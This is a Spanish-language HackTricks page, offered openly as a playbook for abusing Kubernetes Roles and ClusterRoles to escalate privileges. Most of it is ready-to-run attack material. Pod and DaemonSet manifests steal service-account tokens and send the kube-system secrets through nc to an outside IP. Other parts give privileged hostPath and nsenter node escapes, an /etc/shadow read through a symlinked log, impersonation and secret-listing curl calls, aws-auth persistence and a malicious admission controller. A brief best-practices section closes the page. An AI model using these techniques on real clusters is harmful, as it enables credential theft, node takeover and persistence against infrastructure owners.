Abusing Roles/ClusterRoles in Kubernetes

Support HackTricks

Aquí puedes encontrar algunas configuraciones de Roles y ClusterRoles potencialmente peligrosas. Recuerda que puedes obtener todos los recursos soportados con kubectl api-resources

Escalación de Privilegios

Se refiere al arte de obtener acceso a un principal diferente dentro del clúster con diferentes privilegios (dentro del clúster de kubernetes o a nubes externas) que los que ya tienes. En Kubernetes, hay básicamente 4 técnicas principales para escalar privilegios:

  • Ser capaz de suplantar a otros usuarios/grupos/SAs con mejores privilegios dentro del clúster de kubernetes o a nubes externas

  • Ser capaz de crear/parchear/ejecutar pods donde puedes encontrar o adjuntar SAs con mejores privilegios dentro del clúster de kubernetes o a nubes externas

  • Ser capaz de leer secretos ya que los tokens de SAs se almacenan como secretos

  • Ser capaz de escapar al nodo desde un contenedor, donde puedes robar todos los secretos de los contenedores que se ejecutan en el nodo, las credenciales del nodo y los permisos del nodo dentro de la nube en la que se está ejecutando (si los hay)

  • Una quinta técnica que merece mención es la capacidad de ejecutar port-forward en un pod, ya que podrías acceder a recursos interesantes dentro de ese pod.

Acceso a Cualquier Recurso o Verbo (Wildcard)

El wildcard (*) otorga permiso sobre cualquier recurso con cualquier verbo. Es utilizado por administradores. Dentro de un ClusterRole, esto significa que un atacante podría abusar de cualquier namespace en el clúster.

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]

Acceder a Cualquier Recurso con un verbo específico

En RBAC, ciertos permisos representan riesgos significativos:

  1. create: Concede la capacidad de crear cualquier recurso del clúster, arriesgando la escalada de privilegios.

  2. list: Permite listar todos los recursos, potencialmente filtrando datos sensibles.

  3. get: Permite acceder a secretos de cuentas de servicio, representando una amenaza a la seguridad.

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["create", "list", "get"]

Pod Create - Steal Token

Un atacante con los permisos para crear un pod, podría adjuntar una Cuenta de Servicio privilegiada al pod y robar el token para hacerse pasar por la Cuenta de Servicio. Efectivamente, escalando privilegios a ella.

Ejemplo de un pod que robará el token de la cuenta de servicio bootstrap-signer y lo enviará al atacante:

apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true

Creación de Pod y Escape

Lo siguiente indica todos los privilegios que un contenedor puede tener:

  • Acceso privilegiado (deshabilitando protecciones y configurando capacidades)

  • Deshabilitar namespaces hostIPC y hostPid que pueden ayudar a escalar privilegios

  • Deshabilitar el namespace hostNetwork, dando acceso para robar privilegios de nube de nodos y mejor acceso a redes

  • Montar hosts / dentro del contenedor

super_privs.yaml
apiVersion: v1
kind: Pod
metadata:
name: ubuntu
labels:
app: ubuntu
spec:
# Uncomment and specify a specific node you want to debug
# nodeName: <insert-node-name-here>
containers:
- image: ubuntu
command:
- "sleep"
- "3600" # adjust this as needed -- use only as long as you need
imagePullPolicy: IfNotPresent
name: ubuntu
securityContext:
allowPrivilegeEscalation: true
privileged: true
#capabilities:
#  add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
runAsUser: 0 # run as root (or any other user)
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never # we want to be intentional about running this pod
hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
volumes:
- name: host-volume
hostPath:
path: /

Crea el pod con:

kubectl --token $token create -f mount_root.yaml

Una línea de este tweet y con algunas adiciones:

kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'

Ahora que puedes escapar al nodo, consulta las técnicas de post-explotación en:

Stealth

Probablemente quieras ser más sigiloso, en las siguientes páginas puedes ver a qué podrías acceder si creas un pod habilitando solo algunos de los privilegios mencionados en la plantilla anterior:

  • Privileged + hostPID

  • Privileged only

  • hostPath

  • hostPID

  • hostNetwork

  • hostIPC

Puedes encontrar ejemplos de cómo crear/abusar de las configuraciones de pods privilegiados anteriores en https://github.com/BishopFox/badPods

Pod Create - Move to cloud

Si puedes crear un pod (y opcionalmente una cuenta de servicio) podrías obtener privilegios en el entorno de la nube al asignar roles de nube a un pod o a una cuenta de servicio y luego acceder a él. Además, si puedes crear un pod con el espacio de nombres de red del host, puedes robar el rol de IAM de la instancia del nodo.

Para más información, consulta:

Pod Escape Privileges

Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs y Cronjobs

Es posible abusar de estos permisos para crear un nuevo pod y establecer privilegios como en el ejemplo anterior.

El siguiente yaml crea un daemonset y exfiltra el token de la SA dentro del pod:

apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: kube-system
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
volumeMounts:
- mountPath: /root
name: mount-node-root
volumes:
- name: mount-node-root
hostPath:
path: /

Pods Exec

pods/exec es un recurso en kubernetes utilizado para ejecutar comandos en un shell dentro de un pod. Esto permite ejecutar comandos dentro de los contenedores o obtener un shell dentro.

Por lo tanto, es posible entrar en un pod y robar el token del SA, o entrar en un pod privilegiado, escapar al nodo y robar todos los tokens de los pods en el nodo y (ab)usar el nodo:

kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh

port-forward

Este permiso permite redirigir un puerto local a un puerto en el pod especificado. Esto está destinado a poder depurar aplicaciones que se ejecutan dentro de un pod fácilmente, pero un atacante podría abusar de ello para obtener acceso a aplicaciones interesantes (como bases de datos) o vulnerables (¿webs?) dentro de un pod:

kubectl port-forward pod/mypod 5000:5000

Hosts Writable /var/log/ Escape

Como se indica en esta investigación, si puedes acceder o crear un pod con el directorio /var/log/ de los hosts montado en él, puedes escapar del contenedor. Esto se debe básicamente a que cuando el Kube-API intenta obtener los logs de un contenedor (usando kubectl logs <pod>), solicita el archivo 0.log del pod utilizando el endpoint /logs/ del servicio Kubelet. El servicio Kubelet expone el endpoint /logs/ que básicamente expone el sistema de archivos /var/log del contenedor.

Por lo tanto, un atacante con acceso para escribir en la carpeta /var/log/ del contenedor podría abusar de este comportamiento de 2 maneras:

  • Modificando el archivo 0.log de su contenedor (generalmente ubicado en /var/logs/pods/namespace_pod_uid/container/0.log) para que sea un symlink que apunte a /etc/shadow por ejemplo. Luego, podrás exfiltrar el archivo shadow de los hosts haciendo:

kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file
  • Si el atacante controla cualquier principal con los permisos para leer nodes/log, puede simplemente crear un symlink en /host-mounted/var/log/sym a / y al acceder a https://<gateway>:10250/logs/sym/ listará el sistema de archivos raíz del host (cambiar el symlink puede proporcionar acceso a archivos).

curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
<a href="data/">data/</a>
<a href="dev/">dev/</a>
<a href="etc/">etc/</a>
<a href="home/">home/</a>
<a href="init">init</a>
<a href="lib">lib</a>
[...]

Un laboratorio y un exploit automatizado se pueden encontrar en https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts

Eludir la protección de solo lectura

Si tienes la suerte de que la capacidad altamente privilegiada CAP_SYS_ADMIN está disponible, puedes simplemente volver a montar la carpeta como rw:

mount -o rw,remount /hostlogs/

Bypassing hostPath readOnly protection

Como se indica en esta investigación, es posible eludir la protección:

allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true

Que estaba destinado a prevenir escapes como los anteriores al, en lugar de usar un hostPath mount, usar un PersistentVolume y un PersistentVolumeClaim para montar una carpeta de hosts en el contenedor con acceso de escritura:

apiVersion: v1
kind: PersistentVolume
metadata:
name: task-pv-volume-vol
labels:
type: local
spec:
storageClassName: manual
capacity:
storage: 10Gi
accessModes:
- ReadWriteOnce
hostPath:
path: "/var/log"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: task-pv-claim-vol
spec:
storageClassName: manual
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 3Gi
---
apiVersion: v1
kind: Pod
metadata:
name: task-pv-pod
spec:
volumes:
- name: task-pv-storage-vol
persistentVolumeClaim:
claimName: task-pv-claim-vol
containers:
- name: task-pv-container
image: ubuntu:latest
command: [ "sh", "-c", "sleep 1h" ]
volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol

Suplantación de cuentas privilegiadas

Con un privilegio de suplantación de usuario, un atacante podría suplantar una cuenta privilegiada.

Simplemente usa el parámetro --as=<username> en el comando kubectl para suplantar a un usuario, o --as-group=<group> para suplantar a un grupo:

kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters

O utiliza la API REST:

curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Listing Secrets

El permiso para listar secretos podría permitir a un atacante leer realmente los secretos accediendo al punto final de la API REST:

curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Leyendo un secreto – fuerza bruta de IDs de token

Mientras que un atacante en posesión de un token con permisos de lectura requiere el nombre exacto del secreto para usarlo, a diferencia del privilegio más amplio de listar secretos, aún existen vulnerabilidades. Las cuentas de servicio predeterminadas en el sistema pueden ser enumeradas, cada una asociada con un secreto. Estos secretos tienen una estructura de nombre: un prefijo estático seguido de un token alfanumérico aleatorio de cinco caracteres (excluyendo ciertos caracteres) de acuerdo con el código fuente.

El token se genera a partir de un conjunto limitado de 27 caracteres (bcdfghjklmnpqrstvwxz2456789), en lugar del rango alfanumérico completo. Esta limitación reduce el total de combinaciones posibles a 14,348,907 (27^5). En consecuencia, un atacante podría ejecutar razonablemente un ataque de fuerza bruta para deducir el token en cuestión de horas, lo que podría llevar a una escalada de privilegios al acceder a cuentas de servicio sensibles.

Solicitudes de Firma de Certificado

Si tienes los verbos create en el recurso certificatesigningrequests (o al menos en certificatesigningrequests/nodeClient). Puedes crear un nuevo CeSR de un nuevo nodo.

De acuerdo con la documentación, es posible aprobar automáticamente estas solicitudes, así que en ese caso no necesitas permisos adicionales. Si no, necesitarías poder aprobar la solicitud, lo que significa actualizar en certificatesigningrequests/approval y approve en signers con resourceName <signerNameDomain>/<signerNamePath> o <signerNameDomain>/*

Un ejemplo de un rol con todos los permisos requeridos es:

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: csr-approver
rules:
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests
verbs:
- get
- list
- watch
- create
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests/approval
verbs:
- update
- apiGroups:
- certificates.k8s.io
resources:
- signers
resourceNames:
- example.com/my-signer-name # example.com/* can be used to authorize for all signers in the 'example.com' domain
verbs:
- approve

Así que, con el nuevo CSR de nodo aprobado, puedes abuse los permisos especiales de los nodos para steal secrets y escalate privileges.

En esta publicación y esta otra, la configuración de GKE K8s TLS Bootstrap está configurada con firma automática y se abuse para generar credenciales de un nuevo nodo K8s y luego abuse esas para escalar privilegios robando secretos. Si tienes los privilegios mencionados podrías hacer lo mismo. Ten en cuenta que el primer ejemplo elude el error que impide que un nuevo nodo acceda a secretos dentro de contenedores porque un nodo solo puede acceder a los secretos de los contenedores montados en él.

La forma de eludir esto es simplemente crear credenciales de nodo para el nombre del nodo donde el contenedor con los secretos interesantes está montado (pero solo verifica cómo hacerlo en la primera publicación):

"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"

AWS EKS aws-auth configmaps

Los principales que pueden modificar configmaps en el espacio de nombres kube-system en clústeres EKS (necesitan estar en AWS) pueden obtener privilegios de administrador del clúster al sobrescribir el configmap aws-auth. Los verbos necesarios son update y patch, o create si el configmap no fue creado:

# Check if config map exists
get configmap aws-auth -n kube-system -o yaml

## Yaml example
apiVersion: v1
kind: ConfigMap
metadata:
name: aws-auth
namespace: kube-system
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node:{{EC2PrivateDNSName}}
groups:
- system:masters

# Create donfig map is doesn't exist
## Using kubectl and the previous yaml
kubectl apply -f /tmp/aws-auth.yaml
## Using eksctl
eksctl create iamidentitymapping --cluster Testing --region us-east-1 --arn arn:aws:iam::123456789098:role/SomeRoleTestName --group "system:masters" --no-duplicate-arns

# Modify it
kubectl edit -n kube-system configmap/aws-auth
## You can modify it to even give access to users from other accounts
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node:{{EC2PrivateDNSName}}
groups:
- system:masters
mapUsers: |
- userarn: arn:aws:iam::098765432123:user/SomeUserTestName
username: admin
groups:
- system:masters

Puedes usar aws-auth para persistencia dando acceso a usuarios de otras cuentas.

Sin embargo, aws --profile other_account eks update-kubeconfig --name <cluster-name> no funciona desde una cuenta diferente. Pero en realidad aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing funciona si pones el ARN del clúster en lugar de solo el nombre. Para hacer que kubectl funcione, solo asegúrate de configurar el kubeconfig de la víctima y en los argumentos de ejecución de aws agrega --profile other_account_role para que kubectl use el perfil de la otra cuenta para obtener el token y contactar a AWS.

Escalando en GKE

Hay 2 formas de asignar permisos de K8s a los principales de GCP. En cualquier caso, el principal también necesita el permiso container.clusters.get para poder obtener credenciales para acceder al clúster, o necesitarás generar tu propio archivo de configuración de kubectl (sigue el siguiente enlace).

Al hablar con el punto final de la API de K8s, el token de autenticación de GCP será enviado. Luego, GCP, a través del punto final de la API de K8s, primero verificará si el principal (por correo electrónico) tiene algún acceso dentro del clúster, luego verificará si tiene algún acceso a través de GCP IAM. Si cualquiera de esos es verdadero, se le responderá. Si no, se dará un error sugiriendo otorgar permisos a través de GCP IAM.

Entonces, el primer método es usar GCP IAM, los permisos de K8s tienen sus permisos equivalentes de GCP IAM, y si el principal los tiene, podrá usarlos.

GCP - Container Privesc

El segundo método es asignar permisos de K8s dentro del clúster identificando al usuario por su correo electrónico (incluidas las cuentas de servicio de GCP).

Crear token de serviceaccounts

Principales que pueden crear TokenRequests (serviceaccounts/token) al hablar con el punto final de la API de K8s SAs (info de aquí).

ephemeralcontainers

Principales que pueden update o patch pods/ephemeralcontainers pueden obtener ejecución de código en otros pods, y potencialmente salir a su nodo agregando un contenedor efímero con un securityContext privilegiado.

ValidatingWebhookConfigurations o MutatingWebhookConfigurations

Principales con cualquiera de los verbos create, update o patch sobre validatingwebhookconfigurations o mutatingwebhookconfigurations podrían ser capaces de crear uno de esos webhookconfigurations para poder escalar privilegios.

Para un ejemplo de mutatingwebhookconfigurations, consulta esta sección de esta publicación.

Escalar

Como puedes leer en la siguiente sección: Prevención de Escalación de Privilegios Incorporada, un principal no puede actualizar ni crear roles o clusterroles sin tener él mismo esos nuevos permisos. Excepto si tiene el verbo escalate sobre roles o clusterroles. Entonces puede actualizar/crear nuevos roles, clusterroles con mejores permisos que los que tiene.

Proxy de nodos

Principales con acceso al subrecurso nodes/proxy pueden ejecutar código en pods a través de la API de Kubelet (según esto). Más información sobre la autenticación de Kubelet en esta página:

Kubelet Authentication & Authorization

Tienes un ejemplo de cómo obtener RCE hablando autorizado a una API de Kubelet aquí.

Eliminar pods + nodos no programables

Principales que pueden eliminar pods (delete verbo sobre pods recurso), o desalojar pods (create verbo sobre pods/eviction recurso), o cambiar el estado de los pods (acceso a pods/status) y pueden hacer que otros nodos no sean programables (acceso a nodes/status) o eliminar nodos (delete verbo sobre nodes recurso) y tienen control sobre un pod, podrían robar pods de otros nodos para que sean ejecutados en el nodo comprometido y el atacante pueda robar los tokens de esos pods.

patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
}

while true; do patch_node_capacity <id_other_node>; done &
#Launch previous line with all the nodes you need to attack

kubectl delete pods -n kube-system <privileged_pod_name>

Estado de los servicios (CVE-2020-8554)

Los principales que pueden modificar services/status pueden establecer el campo status.loadBalancer.ingress.ip para explotar el CVE-2020-8554 sin solución y lanzar ataques MiTM contra el clúster. La mayoría de las mitigaciones para CVE-2020-8554 solo previenen servicios ExternalIP (según esto).

Estado de nodos y pods

Los principales con permisos de update o patch sobre nodes/status o pods/status, podrían modificar etiquetas para afectar las restricciones de programación impuestas.

Prevención de Escalación de Privilegios Incorporada

Kubernetes tiene un mecanismo incorporado para prevenir la escalación de privilegios.

Este sistema asegura que los usuarios no pueden elevar sus privilegios modificando roles o vinculaciones de roles. La aplicación de esta regla ocurre a nivel de API, proporcionando una salvaguarda incluso cuando el autorizador RBAC está inactivo.

La regla estipula que un usuario solo puede crear o actualizar un rol si posee todos los permisos que comprende el rol. Además, el alcance de los permisos existentes del usuario debe alinearse con el del rol que intenta crear o modificar: ya sea a nivel de clúster para ClusterRoles o confinado al mismo espacio de nombres (o a nivel de clúster) para Roles.

Hay una excepción a la regla anterior. Si un principal tiene el verbo escalate sobre roles o clusterroles, puede aumentar los privilegios de roles y clusterroles incluso sin tener los permisos él mismo.

Obtener y Parchear RoleBindings/ClusterRoleBindings

Aparentemente, esta técnica funcionaba antes, pero según mis pruebas, ya no está funcionando por la misma razón explicada en la sección anterior. No puedes crear/modificar un rolebinding para darte a ti mismo o a una SA diferente algunos privilegios si no los tienes ya.

El privilegio de crear Rolebindings permite a un usuario vincular roles a una cuenta de servicio. Este privilegio puede llevar potencialmente a la escalación de privilegios porque permite al usuario vincular privilegios de administrador a una cuenta de servicio comprometida.

Otros Ataques

Aplicación proxy Sidecar

Por defecto, no hay ninguna encriptación en la comunicación entre pods. Autenticación mutua, bidireccional, pod a pod.

Crear una aplicación proxy Sidecar

Crea tu .yaml

kubectl run app --image=bash --command -oyaml --dry-run=client > <appName.yaml> -- sh -c 'ping google.com'

Edita tu .yaml y añade las líneas sin comentar:

#apiVersion: v1
#kind: Pod
#metadata:
#  name: security-context-demo
#spec:
#  securityContext:
#    runAsUser: 1000
#    runAsGroup: 3000
#    fsGroup: 2000
#  volumes:
#  - name: sec-ctx-vol
#    emptyDir: {}
#  containers:
#  - name: sec-ctx-demo
#    image: busybox
command: [ "sh", "-c", "apt update && apt install iptables -y && iptables -L && sleep 1h" ]
securityContext:
capabilities:
add: ["NET_ADMIN"]
#   volumeMounts:
#   - name: sec-ctx-vol
#     mountPath: /data/demo
#   securityContext:
#     allowPrivilegeEscalation: true

Ver los registros del proxy:

kubectl logs app -C proxy

Más información en: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/

Controlador de Admisión Malicioso

Un controlador de admisión intercepta las solicitudes al servidor API de Kubernetes antes de la persistencia del objeto, pero después de que la solicitud ha sido autenticada y autorizada.

Si un atacante logra inyectar un Controlador de Admisión de Mutación, podrá modificar solicitudes ya autenticadas. Esto podría permitir un potencial privesc y, más comúnmente, persistir en el clúster.

Ejemplo de https://blog.rewanthtammana.com/creating-malicious-admission-controllers:

git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
cd malicious-admission-controller-webhook-demo
./deploy.sh
kubectl get po -n webhook-demo -w

Verifica el estado para ver si está listo:

kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo

Luego despliega un nuevo pod:

kubectl run nginx --image nginx
kubectl get po -w

Cuando puedes ver el error ErrImagePull, verifica el nombre de la imagen con cualquiera de las consultas:

kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "

Como se puede ver en la imagen anterior, intentamos ejecutar la imagen nginx, pero la imagen final ejecutada es rewanthtammana/malicious-image. ¿Qué acaba de pasar!?

Technicalities

El script ./deploy.sh establece un controlador de admisión de webhook mutante, que modifica las solicitudes a la API de Kubernetes según lo especificado en sus líneas de configuración, influyendo en los resultados observados:

patches = append(patches, patchOperation{
Op:    "replace",
Path:  "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})

El fragmento anterior reemplaza la primera imagen del contenedor en cada pod con rewanthtammana/malicious-image.

OPA Gatekeeper bypass

Kubernetes - OPA Gatekeeper bypass

Mejores Prácticas

Deshabilitar el Automontaje de Tokens de Cuentas de Servicio

  • Pods y Cuentas de Servicio: Por defecto, los pods montan un token de cuenta de servicio. Para mejorar la seguridad, Kubernetes permite deshabilitar esta función de automontaje.

  • Cómo Aplicar: Establecer automountServiceAccountToken: false en la configuración de cuentas de servicio o pods a partir de la versión 1.6 de Kubernetes.

Asignación Restrictiva de Usuarios en RoleBindings/ClusterRoleBindings

  • Inclusión Selectiva: Asegúrese de que solo los usuarios necesarios estén incluidos en RoleBindings o ClusterRoleBindings. Audite regularmente y elimine usuarios irrelevantes para mantener una seguridad estricta.

Roles Específicos de Namespace sobre Roles de Clúster

  • Roles vs. ClusterRoles: Prefiera usar Roles y RoleBindings para permisos específicos de namespace en lugar de ClusterRoles y ClusterRoleBindings, que se aplican a nivel de clúster. Este enfoque ofrece un control más fino y limita el alcance de los permisos.

Utilizar herramientas automatizadas

Referencias

Apoya a HackTricks

Last updated